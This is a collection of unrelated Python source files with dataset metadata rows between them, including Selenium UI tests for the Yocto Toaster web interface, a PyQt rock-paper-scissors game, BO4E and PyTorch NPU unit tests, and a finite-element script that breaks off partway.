self.driver.find_element_by_xpath("//*[@id='config-nav']/ul/li/a[@href="+'"'+project_URL+'configuration"'+"]").click()
self.assertTrue(re.search("Bitbake variables",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Bitbake variables information is not loading properly')
except:
self.fail(msg='No Bitbake variables tab available')
# testcase (1516)
def test_review_configuration_information(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
try:
self.assertTrue(self.element_exists('#machine-section'),'Machine section for the project configuration page does not exist')
self.assertTrue(re.search("qemux86",self.driver.find_element_by_xpath("//span[@id='project-machine-name']").text),'The machine type is not assigned')
self.driver.find_element_by_xpath("//span[@id='change-machine-toggle']").click()
self.wait_until_visible('#select-machine-form')
self.wait_until_visible('#cancel-machine-change')
self.driver.find_element_by_xpath("//form[@id='select-machine-form']/a[@id='cancel-machine-change']").click()
except:
self.fail(msg='The machine information is wrong in the configuration page')
try:
self.driver.find_element_by_id('no-most-built')
except:
self.fail(msg='No Most built information in project detail page')
try:
self.assertTrue(re.search("Yocto Project master",self.driver.find_element_by_xpath("//span[@id='project-release-title']").text),'The project release is not defined')
except:
self.fail(msg='No project release title information in project detail page')
try:
self.driver.find_element_by_xpath("//div[@id='layer-container']")
self.assertTrue(re.search("3",self.driver.find_element_by_id("project-layers-count").text),'There should be 3 layers listed in the layer count')
layer_list = self.driver.find_element_by_id("layers-in-project-list")
layers = layer_list.find_elements_by_tag_name("li")
for layer in layers:
if re.match ("openembedded-core",layer.text):
print ("openembedded-core layer is a default layer in the project configuration")
elif re.match ("meta-poky",layer.text):
print ("meta-poky layer is a default layer in the project configuration")
elif re.match ("meta-yocto-bsp",layer.text):
print ("meta-yocto-bsp is a default layer in the project configuratoin")
else:
self.fail(msg='default layers are missing from the project configuration')
except:
self.fail(msg='No Layer information in project detail page')
# testcase (1517)
def test_verify_machine_information(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
try:
self.assertTrue(self.element_exists('#machine-section'),'Machine section for the project configuration page does not exist')
self.assertTrue(re.search("qemux86",self.driver.find_element_by_id("project-machine-name").text),'The machine type is not assigned')
self.driver.find_element_by_id("change-machine-toggle").click()
self.wait_until_visible('#select-machine-form')
self.wait_until_visible('#cancel-machine-change')
self.driver.find_element_by_id("cancel-machine-change").click()
except:
self.fail(msg='The machine information is wrong in the configuration page')
# testcase (1518)
def test_verify_most_built_recipes_information(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
try:
self.assertTrue(re.search("You haven't built any recipes yet",self.driver.find_element_by_id("no-most-built").text),'Default message of no builds is not present')
self.driver.find_element_by_xpath("//div[@id='no-most-built']/p/a[@href="+'"'+project_URL+'images/"'+"]").click()
self.assertTrue(re.search("Compatible image recipes",self.driver.find_element_by_xpath("//div[@class='col-md-10']").text),'The Choose a recipe to build link is not working properly')
except:
self.fail(msg='No Most built information in project detail page')
# testcase (1519)
def test_verify_project_release_information(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
try:
self.assertTrue(re.search("Yocto Project master",self.driver.find_element_by_id("project-release-title").text),'The project release is not defined')
except:
self.fail(msg='No project release title information in project detail page')
# testcase (1520)
def test_verify_layer_information(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
try:
self.driver.find_element_by_xpath("//div[@id='layer-container']")
self.assertTrue(re.search("3",self.driver.find_element_by_id("project-layers-count").text),'There should be 3 layers listed in the layer count')
layer_list = self.driver.find_element_by_id("layers-in-project-list")
layers = layer_list.find_elements_by_tag_name("li")
for layer in layers:
if re.match ("openembedded-core",layer.text):
print ("openembedded-core layer is a default layer in the project configuration")
elif re.match ("meta-poky",layer.text):
print ("meta-poky layer is a default layer in the project configuration")
elif re.match ("meta-yocto-bsp",layer.text):
print ("meta-yocto-bsp is a default layer in the project configuratoin")
else:
self.fail(msg='default layers are missing from the project configuration')
self.driver.find_element_by_xpath("//input[@id='layer-add-input']")
self.driver.find_element_by_xpath("//button[@id='add-layer-btn']")
self.driver.find_element_by_xpath("//div[@id='layer-container']/form[@class='form-inline']/p/a[@id='view-compatible-layers']")
self.driver.find_element_by_xpath("//div[@id='layer-container']/form[@class='form-inline']/p/a[@href="+'"'+project_URL+'importlayer"'+"]")
except:
self.fail(msg='No Layer information in project detail page')
# testcase (1521)
def test_verify_project_detail_links(self):
self.get('')
self.driver.find_element_by_xpath("//div[@id='global-nav']/ul/li/a[@href="+'"'+'/toastergui/projects/'+'"'+"]").click()
self.wait_until_visible('#projectstable')
self.find_element_by_link_text_in_table('projectstable', 'selenium-project').click()
project_URL=self.get_URL()
self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li[@id='topbar-configuration-tab']/a[@href="+'"'+project_URL+'"'+"]").click()
self.assertTrue(re.search("Configuration",self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li[@id='topbar-configuration-tab']/a[@href="+'"'+project_URL+'"'+"]").text), 'Configuration tab in project topbar is misspelled')
try:
self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'builds/"'+"]").click()
self.assertTrue(re.search("Builds",self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'builds/"'+"]").text), 'Builds tab in project topbar is misspelled')
self.driver.find_element_by_xpath("//div[@id='empty-state-projectbuildstable']")
except:
self.fail(msg='Builds tab information is not present')
try:
self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'importlayer"'+"]").click()
self.assertTrue(re.search("Import layer",self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'importlayer"'+"]").text), 'Import layer tab in project topbar is misspelled')
self.driver.find_element_by_xpath("//fieldset[@id='repo-select']")
self.driver.find_element_by_xpath("//fieldset[@id='git-repo']")
except:
self.fail(msg='Import layer tab not loading properly')
try:
self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'newcustomimage/"'+"]").click()
self.assertTrue(re.search("New custom image",self.driver.find_element_by_xpath("//div[@id='project-topbar']/ul[@class='nav nav-tabs']/li/a[@href="+'"'+project_URL+'newcustomimage/"'+"]").text), 'New custom image tab in project topbar is misspelled')
self.assertTrue(re.search("Select the image recipe you want to customise",self.driver.find_element_by_xpath("//div[@class='col-md-12']/h2").text),'The new custom image tab is not loading correctly')
except:
self.fail(msg='New custom image tab not loading properly')
| 61.758621 | 268 | 0.661991 |
2b40be95f80d31455cf6a2e3a51eb14f7aeb92a8
| 3,288 |
py
|
Python
|
src/Themes/TransformationTheme.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | 1 |
2020-05-29T21:09:33.000Z
|
2020-05-29T21:09:33.000Z
|
src/Themes/TransformationTheme.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | 3 |
2020-06-14T11:33:54.000Z
|
2022-01-13T03:31:06.000Z
|
src/Themes/TransformationTheme.py
|
LukasTinnes/VenturePainter
|
cb1f24fda2a43d402a9c5a401d713af0c950270b
|
[
"Unlicense"
] | null | null | null |
from .Theme import Theme
from src.Graph import Graph
class TransformationTheme(Theme):
def __init__(self):
super().__init__()
self.size_max = 0
self.size_min = 0
self.width_min = 0
self.width_max = 0
self.height_min = 0
self.height_max = 0
self.x_min = 0
self.x_max = 0
self.y_min = 0
self.y_max = 0
def prepare(self, graph, shapes):
self.prepare_size_ratio(shapes)
self.prepare_width_ratio(shapes)
self.prepare_height_ratio(shapes)
self.prepare_x_ratio(shapes)
self.prepare_y_ratio(shapes)
def prepare_size_ratio(self, shapes):
node_sizes = []
for shape in shapes:
size = shape.shape.width * shape.shape.height
node_sizes.append((shape.id, size))
node_sizes = sorted(node_sizes, key=lambda tup: tup[1])
self.size_min = node_sizes[-1][1]
self.size_max = node_sizes[0][1]
def prepare_width_ratio(self, shapes):
node_sizes = []
for shape in shapes:
node_sizes.append((shape.id, shape.shape.width))
node_sizes = sorted(node_sizes, key=lambda tup: tup[1])
self.width_min = node_sizes[-1][1]
self.width_max = node_sizes[0][1]
def prepare_height_ratio(self, shapes):
node_sizes = []
for shape in shapes:
node_sizes.append((shape.id, shape.shape.height))
node_sizes = sorted(node_sizes, key=lambda tup: tup[1])
self.height_min = node_sizes[-1][1]
self.height_max = node_sizes[0][1]
def prepare_x_ratio(self, shapes):
node_sizes = []
for shape in shapes:
node_sizes.append((shape.id, shape.shape.x))
node_sizes = sorted(node_sizes, key=lambda tup: tup[1])
self.x_min = node_sizes[-1][1]
self.x_max = node_sizes[0][1]
def prepare_y_ratio(self, shapes):
node_sizes = []
for shape in shapes:
node_sizes.append((shape.id, shape.shape.y))
node_sizes = sorted(node_sizes, key=lambda tup: tup[1])
self.y_min = node_sizes[-1][1]
self.y_max = node_sizes[0][1]
def determine_kind(self, graph: Graph, shapes, shape):
size_ratio = (shape.shape.width * shape.shape.height - self.size_min) / (self.size_max - self.size_min)
width_ratio = (shape.shape.width * shape.shape.height - self.width_min) / (self.width_max - self.width_min)
height_ratio = (shape.shape.width * shape.shape.height - self.height_min) / (self.height_max - self.height_min)
x_ratio = (shape.shape.width * shape.shape.height - self.x_min) / (self.x_max - self.x_min)
y_ratio = (shape.shape.width * shape.shape.height - self.y_min) / (self.y_max - self.y_min)
shape.context = {'size_ratio': size_ratio,'width_ratio': width_ratio,
'height_ratio': height_ratio,
'x_ratio': x_ratio,
'y_ratio': y_ratio,
'squareness': self.get_squareness(shape)}
return "transformation"
def get_squareness(self, shape):
squareness = min(shape.shape.width, shape.shape.height) / max(shape.shape.width, shape.shape.height)
return squareness
| 36.94382 | 119 | 0.612226 |
99513706c29cd040b8e1f9c0d65abac5eadeb33f
| 491 |
py
|
Python
|
Problems/Dynamic Programming/Easy/BuySellStock1/buy_sell_stock_1.py
|
dolong2110/Algorithm-By-Problems-Python
|
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
|
[
"MIT"
] | 1 |
2021-08-16T14:52:05.000Z
|
2021-08-16T14:52:05.000Z
|
Problems/Dynamic Programming/Easy/BuySellStock1/buy_sell_stock_1.py
|
dolong2110/Algorithm-By-Problems-Python
|
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
|
[
"MIT"
] | null | null | null |
Problems/Dynamic Programming/Easy/BuySellStock1/buy_sell_stock_1.py
|
dolong2110/Algorithm-By-Problems-Python
|
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
|
[
"MIT"
] | null | null | null |
from typing import List
def max_profit_1(prices: List[int]) -> int:
min_price, max_profit = prices[0], 0
for price in prices:
min_price = min(min_price, price)
profit = price - min_price
max_profit = max(max_profit, profit)
return max_profit
def max_profit_2(prices: List[int]) -> int:
ans, dt = 0, 0
for i in range(0, len(prices) - 1):
q = prices[i + 1] - prices[i]
dt = max(dt + q, q)
ans = max(ans, dt)
return ans
| 27.277778 | 44 | 0.590631 |
9956e73164bd63500cea24e33dc9bcf6d9f73e4e
| 4,311 |
py
|
Python
|
scp.py
|
KvantPro/SCP
|
1304d03007992f223d319d41037e2b32c9fbf934
|
[
"Unlicense"
] | 1 |
2021-11-12T19:28:16.000Z
|
2021-11-12T19:28:16.000Z
|
scp.py
|
KvantPro/SCP
|
1304d03007992f223d319d41037e2b32c9fbf934
|
[
"Unlicense"
] | null | null | null |
scp.py
|
KvantPro/SCP
|
1304d03007992f223d319d41037e2b32c9fbf934
|
[
"Unlicense"
] | null | null | null |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'SCP.ui'
#
# Created by: PyQt5 UI code generator 5.15.2
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QMessageBox
import random, time
def animate():
a = 0
while a <= 100:
ui.progressBar.setValue(a)
time.sleep(0.01)
a += 1
def wt(w):
sg = QMessageBox()
sg.resize(100, 100)
if w == 'w':
te = 'Вы выиграли!'
elif w == 'p':
te = 'Вы проиграли'
else:
te = 'Ничья'
sg.setWindowTitle('Результат')
sg.setText(str(te))
x = sg.exec_()
def pr(x, win):
if win == 'S':
if x == 0:
wt = 'n'
elif x == 1:
wt = 'w'
else:
wt = 'p'
if win == 'C':
if x == 0:
wt = 'p'
elif x == 1:
wt = 'n'
else:
wt = 'w'
if win == 'P':
if x == 0:
wt = 'w'
elif x == 1:
wt = 'p'
else:
wt = 'n'
return wt
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName("Form")
Form.resize(396, 257)
self.S = QtWidgets.QPushButton(Form)
self.S.setGeometry(QtCore.QRect(70, 180, 75, 71))
self.S.setObjectName("pushButton")
self.C = QtWidgets.QPushButton(Form)
self.C.setGeometry(QtCore.QRect(160, 180, 75, 71))
self.C.setObjectName("pushButton_2")
self.P = QtWidgets.QPushButton(Form)
self.P.setGeometry(QtCore.QRect(250, 180, 75, 71))
self.P.setObjectName("pushButton_3")
self.ME = QtWidgets.QPushButton(Form)
self.ME.setGeometry(QtCore.QRect(320, 10, 75, 31))
self.ME.setObjectName("pushButton_4")
self.label = QtWidgets.QLabel(Form)
self.label.setGeometry(QtCore.QRect(80, 120, 211, 31))
self.label.setStyleSheet("font-size: 25px;")
self.label.setObjectName("label")
self.label_2 = QtWidgets.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(80, 70, 211, 31))
self.label_2.setStyleSheet("font-size: 25px;")
self.label_2.setObjectName("label_2")
self.progressBar = QtWidgets.QProgressBar(Form)
self.progressBar.setGeometry(QtCore.QRect(10, 10, 301, 31))
self.progressBar.setProperty("value", 0)
self.progressBar.setObjectName("progressBar")
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
def retranslateUi(self, Form):
_translate = QtCore.QCoreApplication.translate
Form.setWindowTitle(_translate("Form", "Камень, ножницы, бумага!"))
self.S.setText(_translate("Form", "Камень"))
self.C.setText(_translate("Form", "Ножницы"))
self.P.setText(_translate("Form", "Бумага"))
self.ME.setText(_translate("Form", "О нас"))
self.label.setText(_translate("Form", "Бот:"))
self.label_2.setText(_translate("Form", "Вы:"))
def start(winh):
ui.label.setText("Бот: ")
winb = ['Камень', 'Ножницы', 'Бумага']
x = random.randint(0, 2)
bot = winb[x]
win = pr(x, winh)
if winh == 'S':
winh = 'Камень'
elif winh == 'C':
winh = 'Ножницы'
else:
winh = 'Бумага'
ui.label_2.setText("Вы: " + winh)
animate()
ui.label.setText("Бот: " + bot)
wt(win)
def ME():
msg = QMessageBox()
msg.setWindowTitle('О нас')
msg.setText("Мы, компания @Kvant`s studios\nЯвляемся разработчиками игры:\nКамень, ножницы, бумага.\nДля связи с нами пишите на почту \nили в ВК:\n\[email protected]\nvk.com/kvantgd")
x = msg.exec_()
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
Form = QtWidgets.QWidget()
ui = Ui_Form()
ui.setupUi(Form)
Form.show()
ui.S.clicked.connect( lambda: start("S") )
ui.C.clicked.connect( lambda: start("C") )
ui.P.clicked.connect( lambda: start("P") )
ui.ME.clicked.connect( ME )
sys.exit(app.exec_())
| 31.23913 | 189 | 0.566922 |
512b0ff03116ecbbfa2490a86b31c8bef5a16fbc
| 2,630 |
py
|
Python
|
test/test_npu/test_ones_like.py
|
Ascend/pytorch
|
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
|
[
"BSD-3-Clause"
] | 1 |
2021-12-02T03:07:35.000Z
|
2021-12-02T03:07:35.000Z
|
test/test_npu/test_ones_like.py
|
Ascend/pytorch
|
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
|
[
"BSD-3-Clause"
] | 1 |
2021-11-12T07:23:03.000Z
|
2021-11-12T08:28:13.000Z
|
test/test_npu/test_ones_like.py
|
Ascend/pytorch
|
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
|
[
"BSD-3-Clause"
] | null | null | null |
# Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import torch
import numpy as np
from common_utils import TestCase, run_tests
from util_test import create_common_tensor
class TestOnesLike(TestCase):
def cpu_op_exec(self, input1):
output = torch.ones_like(input1)
output = output.numpy()
return output
def npu_op_exec(self, input1):
output = torch.ones_like(input1)
output = output.to('cpu')
output = output.numpy()
return output
def test_ones_like_shape_format(self, device):
shape_format = [
[np.float32, -1, (3, )],
[np.float32, -1, (2, 4)],
[np.float32, -1, (3, 6, 9)],
[np.int8, -1, (3,)],
[np.int8, -1, (2, 4)],
[np.int8, -1, (3, 6, 9)],
[np.int32, -1, (3,)],
[np.int32, -1, (2, 4)],
[np.int32, -1, (3, 6, 9)],
[np.uint8, -1, (3,)],
[np.uint8, -1, (2, 4)],
[np.uint8, -1, (3, 6, 9)]
]
for item in shape_format:
cpu_input, npu_input = create_common_tensor(item, 1, 100)
cpu_output = self.cpu_op_exec(cpu_input)
npu_output = self.npu_op_exec(npu_input)
self.assertRtolEqual(cpu_output, npu_output)
def test_ones_like_float16_shape_format(self, device):
shape_format = [
[np.float16, -1, (3, )],
[np.float16, -1, (2, 4)],
[np.float16, -1, (3, 6, 9)],
[np.float16, -1, (3, 4, 5, 12)]
]
for item in shape_format:
cpu_input, npu_input = create_common_tensor(item, 1, 100)
cpu_input = cpu_input.to(torch.float32)
cpu_output = self.cpu_op_exec(cpu_input)
npu_output = self.npu_op_exec(npu_input)
cpu_output = cpu_output.astype(np.float16)
self.assertRtolEqual(cpu_output, npu_output)
instantiate_device_type_tests(TestOnesLike, globals(), except_for='cpu')
if __name__ == "__main__":
torch.npu.set_device("npu:5")
run_tests()
| 32.469136 | 74 | 0.6 |
51482ecdf63ce79d790ef49cc3ab5fbfd053a0f3
| 9,861 |
py
|
Python
|
tests/test_aufabschlagregional.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | 1 |
2022-03-02T12:49:44.000Z
|
2022-03-02T12:49:44.000Z
|
tests/test_aufabschlagregional.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | 21 |
2022-02-04T07:38:46.000Z
|
2022-03-28T14:01:53.000Z
|
tests/test_aufabschlagregional.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | null | null | null |
from datetime import datetime, timezone
from decimal import Decimal
import pytest # type:ignore[import]
from bo4e.com.aufabschlagproort import AufAbschlagProOrt
from bo4e.com.aufabschlagregional import AufAbschlagRegional, AufAbschlagRegionalSchema
from bo4e.com.aufabschlagstaffelproort import AufAbschlagstaffelProOrt
from bo4e.com.energieherkunft import Energieherkunft
from bo4e.com.energiemix import Energiemix
from bo4e.com.preisgarantie import Preisgarantie
from bo4e.com.tarifeinschraenkung import Tarifeinschraenkung
from bo4e.com.vertragskonditionen import Vertragskonditionen
from bo4e.com.zeitraum import Zeitraum
from bo4e.enum.aufabschlagstyp import AufAbschlagstyp
from bo4e.enum.aufabschlagsziel import AufAbschlagsziel
from bo4e.enum.erzeugungsart import Erzeugungsart
from bo4e.enum.preisgarantietyp import Preisgarantietyp
from bo4e.enum.sparte import Sparte
from bo4e.enum.waehrungseinheit import Waehrungseinheit
from tests.serialization_helper import assert_serialization_roundtrip # type:ignore[import]
example_aufabschlagregional = AufAbschlagRegional(
bezeichnung="foo",
betraege=[
AufAbschlagProOrt(
postleitzahl="01187",
ort="Dresden",
netznr="2",
staffeln=[
AufAbschlagstaffelProOrt(
wert=Decimal(2.5),
staffelgrenze_von=Decimal(1),
staffelgrenze_bis=Decimal(5),
)
],
),
],
)
class TestAufAbschlagRegional:
@pytest.mark.parametrize(
"aufabschlagregional, expected_json_dict",
[
pytest.param(
example_aufabschlagregional,
{
"bezeichnung": "foo",
"betraege": [
{
"postleitzahl": "01187",
"ort": "Dresden",
"netznr": "2",
"staffeln": [
{
"wert": "2.5",
"staffelgrenzeVon": "1",
"staffelgrenzeBis": "5",
}
],
},
],
"beschreibung": None,
"aufAbschlagstyp": None,
"aufAbschlagsziel": None,
"einheit": None,
"website": None,
"zusatzprodukte": None,
"voraussetzungen": None,
"tarifnamensaenderungen": None,
"gueltigkeitszeitraum": None,
"energiemixaenderung": None,
"vertagskonditionsaenderung": None,
"garantieaenderung": None,
"einschraenkungsaenderung": None,
},
id="only required attributes",
),
pytest.param(
AufAbschlagRegional(
bezeichnung="foo",
betraege=[
AufAbschlagProOrt(
postleitzahl="01187",
ort="Dresden",
netznr="2",
staffeln=[
AufAbschlagstaffelProOrt(
wert=Decimal(2.5),
staffelgrenze_von=Decimal(1),
staffelgrenze_bis=Decimal(5),
)
],
),
],
beschreibung="bar",
auf_abschlagstyp=AufAbschlagstyp.RELATIV,
auf_abschlagsziel=AufAbschlagsziel.ARBEITSPREIS_HT,
einheit=Waehrungseinheit.EUR,
website="foo.bar",
zusatzprodukte=["Asterix", "Obelix"],
voraussetzungen=["Petterson", "Findus"],
tarifnamensaenderungen="foobar",
gueltigkeitszeitraum=Zeitraum(
startdatum=datetime(2020, 1, 1, tzinfo=timezone.utc),
enddatum=datetime(2020, 4, 1, tzinfo=timezone.utc),
),
energiemixaenderung=Energiemix(
energiemixnummer=2,
energieart=Sparte.STROM,
bezeichnung="foo",
gueltigkeitsjahr=2021,
anteil=[
Energieherkunft(
erzeugungsart=Erzeugungsart.BIOGAS,
anteil_prozent=Decimal(40),
),
],
),
vertagskonditionsaenderung=Vertragskonditionen(),
garantieaenderung=Preisgarantie(
preisgarantietyp=Preisgarantietyp.ALLE_PREISBESTANDTEILE_BRUTTO,
zeitliche_gueltigkeit=Zeitraum(
startdatum=datetime(2020, 1, 1, tzinfo=timezone.utc),
enddatum=datetime(2020, 4, 1, tzinfo=timezone.utc),
),
),
einschraenkungsaenderung=Tarifeinschraenkung(),
),
{
"bezeichnung": "foo",
"betraege": [
{
"postleitzahl": "01187",
"ort": "Dresden",
"netznr": "2",
"staffeln": [
{
"wert": "2.5",
"staffelgrenzeVon": "1",
"staffelgrenzeBis": "5",
}
],
},
],
"beschreibung": "bar",
"aufAbschlagstyp": "RELATIV",
"aufAbschlagsziel": "ARBEITSPREIS_HT",
"einheit": "EUR",
"website": "foo.bar",
"zusatzprodukte": ["Asterix", "Obelix"],
"voraussetzungen": ["Petterson", "Findus"],
"tarifnamensaenderungen": "foobar",
"gueltigkeitszeitraum": {
"startdatum": "2020-01-01T00:00:00+00:00",
"endzeitpunkt": None,
"einheit": None,
"enddatum": "2020-04-01T00:00:00+00:00",
"startzeitpunkt": None,
"dauer": None,
},
"energiemixaenderung": {
"energiemixnummer": 2,
"energieart": "STROM",
"bezeichnung": "foo",
"gueltigkeitsjahr": 2021,
"anteil": [
{
"erzeugungsart": "BIOGAS",
"anteilProzent": "40",
}
],
"oekolabel": [],
"bemerkung": None,
"co2Emission": None,
"atommuell": None,
"website": None,
"oekozertifikate": [],
"oekoTopTen": None,
},
"vertagskonditionsaenderung": {
"beschreibung": None,
"anzahlAbschlaege": None,
"vertragslaufzeit": None,
"kuendigungsfrist": None,
"vertragsverlaengerung": None,
"abschlagszyklus": None,
},
"garantieaenderung": {
"beschreibung": None,
"preisgarantietyp": "ALLE_PREISBESTANDTEILE_BRUTTO",
"zeitlicheGueltigkeit": {
"startdatum": "2020-01-01T00:00:00+00:00",
"endzeitpunkt": None,
"einheit": None,
"enddatum": "2020-04-01T00:00:00+00:00",
"startzeitpunkt": None,
"dauer": None,
},
},
"einschraenkungsaenderung": {
"zusatzprodukte": None,
"voraussetzungen": None,
"einschraenkungzaehler": None,
"einschraenkungleistung": None,
},
},
id="required and optional attributes",
),
],
)
def test_serialization_roundtrip(self, aufabschlagregional, expected_json_dict):
"""
Test de-/serialisation of AufAbschlagRegional with minimal attributes.
"""
assert_serialization_roundtrip(aufabschlagregional, AufAbschlagRegionalSchema(), expected_json_dict)
def test_missing_required_attribute(self):
with pytest.raises(TypeError) as excinfo:
_ = AufAbschlagRegional()
assert "missing 2 required" in str(excinfo.value)
def test_aufabschlagregional_betraege_required(self):
with pytest.raises(ValueError) as excinfo:
_ = (
AufAbschlagRegional(
bezeichnung="foo",
betraege=[],
),
)
assert "List betraege must not be empty." in str(excinfo.value)
| 41.961702 | 108 | 0.434642 |
5ca7ea27b9a77f39ea73f7e2f5fb08e16ff975e2
| 951 |
py
|
Python
|
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex09_sudoku_checker_test.py
|
Kreijeck/learning
|
eaffee08e61f2a34e01eb8f9f04519aac633f48c
|
[
"MIT"
] | null | null | null |
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex09_sudoku_checker_test.py
|
Kreijeck/learning
|
eaffee08e61f2a34e01eb8f9f04519aac633f48c
|
[
"MIT"
] | null | null | null |
Python/zzz_training_challenge/Python_Challenge/solutions/tests/ch06_arrays/ex09_sudoku_checker_test.py
|
Kreijeck/learning
|
eaffee08e61f2a34e01eb8f9f04519aac633f48c
|
[
"MIT"
] | null | null | null |
# Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
from ch06_arrays.solutions.ex09_sudoku_checker import is_sudoku_valid
def create_initialized_board():
return [[1, 2, 0, 4, 5, 0, 7, 8, 9],
[0, 5, 6, 7, 0, 9, 0, 2, 3],
[7, 8, 0, 1, 2, 3, 4, 5, 6],
[2, 1, 4, 0, 6, 0, 8, 0, 7],
[3, 6, 0, 8, 9, 7, 2, 1, 4],
[0, 9, 7, 0, 1, 4, 3, 6, 0],
[5, 3, 1, 6, 0, 2, 9, 0, 8],
[6, 0, 2, 9, 7, 8, 5, 3, 1],
[9, 7, 0, 0, 3, 1, 6, 4, 2]]
def test_is_sudoku_valid():
board = create_initialized_board()
is_valid_sudoku = is_sudoku_valid(board)
assert is_valid_sudoku == True
def test_is_sudoku_valid_for_invalid_board():
board = create_initialized_board()
# verändere es und mache es damit ungültig
board[0][2] = 2
is_valid_sudoku = is_sudoku_valid(board)
assert is_valid_sudoku == False
| 25.026316 | 69 | 0.55836 |
7a2beccb20b101469add30621b17d27226afd39b
| 110 |
py
|
Python
|
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.4-local-variable.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.4-local-variable.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
Python/Books/Learning-Programming-with-Python.Tamim-Shahriar-Subeen/chapter-007/pg-7.4-local-variable.py
|
shihab4t/Books-Code
|
b637b6b2ad42e11faf87d29047311160fe3b2490
|
[
"Unlicense"
] | null | null | null |
def myfnc(x):
print("inside myfnc", x)
x = 10
print("inside myfnc", x)
x = 20
myfnc(x)
print(x)
| 11 | 28 | 0.554545 |
8f08e54ff7cb184ad51af92f4e2cf2b7c71ef4d7
| 2,561 |
py
|
Python
|
hdg_test/anistropic/cg_test.py
|
BradHub/SL-SPH
|
7bc86253277d27cbb04a9b5935fd4fc056266371
|
[
"MIT"
] | 1 |
2018-02-19T01:52:58.000Z
|
2018-02-19T01:52:58.000Z
|
hdg_test/anistropic/cg_test.py
|
BradHub/SL-SPH
|
7bc86253277d27cbb04a9b5935fd4fc056266371
|
[
"MIT"
] | null | null | null |
hdg_test/anistropic/cg_test.py
|
BradHub/SL-SPH
|
7bc86253277d27cbb04a9b5935fd4fc056266371
|
[
"MIT"
] | null | null | null |
import numpy as np
import dolfin
from dolfin import *
from mpi4py import MPI as pyMPI
comm = pyMPI.COMM_WORLD
mpi_comm = MPI.comm_world
#mark whole boundary, inflow and outflow will overwrite)
class Noslip(SubDomain):
def inside(self, x, on_boundary):
return on_boundary
class Left(SubDomain):
def inside(self, x, on_boundary):
return on_boundary and near(x[0], 0)
class Right(SubDomain):
def inside(self, x, on_boundary):
return on_boundary and near(x[0], 1.0)
#Create a unit box mesh
n_ele = 6
aspect_ratio = 3
